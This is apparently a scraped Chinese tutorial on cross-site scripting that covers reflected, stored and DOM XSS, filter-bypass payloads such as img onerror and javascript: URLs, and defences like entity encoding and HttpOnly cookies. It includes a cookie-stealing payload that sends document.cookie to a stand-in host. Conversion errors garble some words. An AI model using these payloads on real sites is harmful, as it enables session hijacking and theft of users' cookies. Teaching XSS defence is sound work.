Web安全 - XSS漏洞

XSS Cross Site Scripting

1、原理

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些恶意的脚本代码(HTML、JavaScript)到Web页面中去,使别的用户访问都会执行相应的嵌入代码。javascript

XSS其实是利用用户对站点的信任。html

危害

Cookie窃取,Session劫持,钓鱼攻击,蠕虫,DDos等。java

2、分类

1. 反射型 Reflected XSS

非持久化,用户在页面输入框中输入数据,经过GET或者POST方法向服务器端传递数据,输入的数据通常是放在URL的Query string中,或者是form表单中,若是服务端没有对这些数据进行过滤、验证或者编码,直接将用户输入的数据呈现出来,就可能会形成反射型XSS。web

黑客一般经过构造一个包含XSS代码的URL,诱导用户点击连接,触发XSS代码,达到劫持访问、获取 Cookie的目的。数据库

2. 存储型 Stored XSS

持久化,一般是由于服务器端将用户输入的恶意脚本没有通过验证就存储在数据库中,而且经过调用数据库的方式,将数据呈如今浏览器上,当页面被用户打开的时候执行,每当用户打开浏览器,恶意脚本就会执行。存储型的XSS攻击相比反射型的危害性更大,由于每当用户打开页面,恶意脚本都会执行。浏览器

3. DOM型 DOM XSS

DOM (Document Object Model),全称:文档对象模型,是中立于平台和语言的接口,它容许程序和脚本动态地访问和更新文档的内容、结构和样式。

DOM型XSS实际上是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。能够经过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就能够利用JS脚原本实现XSS漏洞的利用。安全

容易致使DOM型的XSS的输入源包括:
Document.URL
Document.referrer
Document.cookie
Window.name
Location.[pathname|href|search|hash]
localStorage/globalStorage服务器

图片描述

DVWA代码分析:http://www.freebuf.com/articl...cookie

3、攻击

  1. 绕过XSS-Filter,利用 <> 标签注入 HTML/JavaScript 代码;
  2. 利用HTML标签的属性值进行XSS攻击。例如:<img src=“javascript:alert(‘xss’)”/>;(固然并非全部的Web浏览器都支持Javascript伪协议,因此此类 XSS 攻击具备必定的局限性)
  3. 空格、回车和Tab。若是XSS Filter仅仅将敏感的输入字符列入黑名单,好比javascript,用户能够利用空格、回车和Tab键来绕过过滤,例如:<img src=“javas cript:alert(/xss/);”/>;
  4. 利用事件来执行跨站脚本。例如:<img src=“#” onerror= “alert(1)”/>,当src错误,就会执行onerror事件;
  5. 利用CSS跨站。例如:body {backgrund-image: url(“javascript:alert(‘xss’)”)};
  6. 扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>;
  7. 利用字符编码,经过这种技巧,不只能让XSS代码绕过服务端的过滤,还能更好地隐藏Shellcode;(JS支持unicode、eacapes、十六进制、十进制等编码形式);
  8. 拆分跨站法,将XSS攻击的代码拆分开来,适用于应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的状况下;
  9. DOM型XSS主要是由客户端的脚本经过DOM动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端得到DOM中的数据在本地执行。

获取Cookie Payload:xss

http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

4、防护

一、使用 XSS Filter
针对用户提交的数据进行有效的验证,只接受咱们规定的长度或内容的提交,过滤掉其余的输入内容。好比:
表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
过滤或移除特殊的 html 标签:<script>、<iframe>等。
过滤 js 事件的标签:onclick、onerror、onfocus等。

二、HTML实体
当须要往HTML标签之间插入不可信数据的时候,首先要作的就是对不可信数据进行HTML Entity编码,在HTML中有些字符对于HTML来讲是具备特殊意义的,因此这些特殊字符不容许在文本中直接使用,须要使用实体字符。HTML实体的存在是致使XSS漏洞的主要愿意之一,所以咱们须要将实体转化为相应的实体编号。

描述     实体名称
     空格      &nbsp;
&    和号      &amp;
<    小于号    &lt;
>    大于号    &gt;
'    单引号    &apos;
"    双引号    &quot;

三、JavaScript编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。在往JavaScript代码里插入数据的时候,只有一种状况是安全的,那就是对不可信数据进行JavaScript编码,而且只把这些数据放到使用引号包围起来的值部分(data value)之中。

注意:在对不可信数据作编码的时候,不能图方便使用反斜杠 对特殊字符进行简单转义,好比将双引号 " 转义成 " ,这样作是不可靠的,由于浏览器在对页面作解析的时候,会先进行HTML解析,而后才是JavaScript解析,因此双引号极可能会被当作HTML字符进行HTML解析,这时双引号就能够突破代码的值部分,使得攻击者能够继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母之外的全部字符,使用十六进制xhh 的方式进行编码。

四、Http Only Cookie许多XSS攻击的目的就是为了获取用户的Cookie,将重要的Cookie标记为HTTP Only,这样的话当浏览器向服务端发起请求时就会带上Cookie字段,可是在脚本中却不能访问Cookie,这样就避免了XSS攻击利用js的document.cookie获取Cookie。

相关文章
相关标签/搜索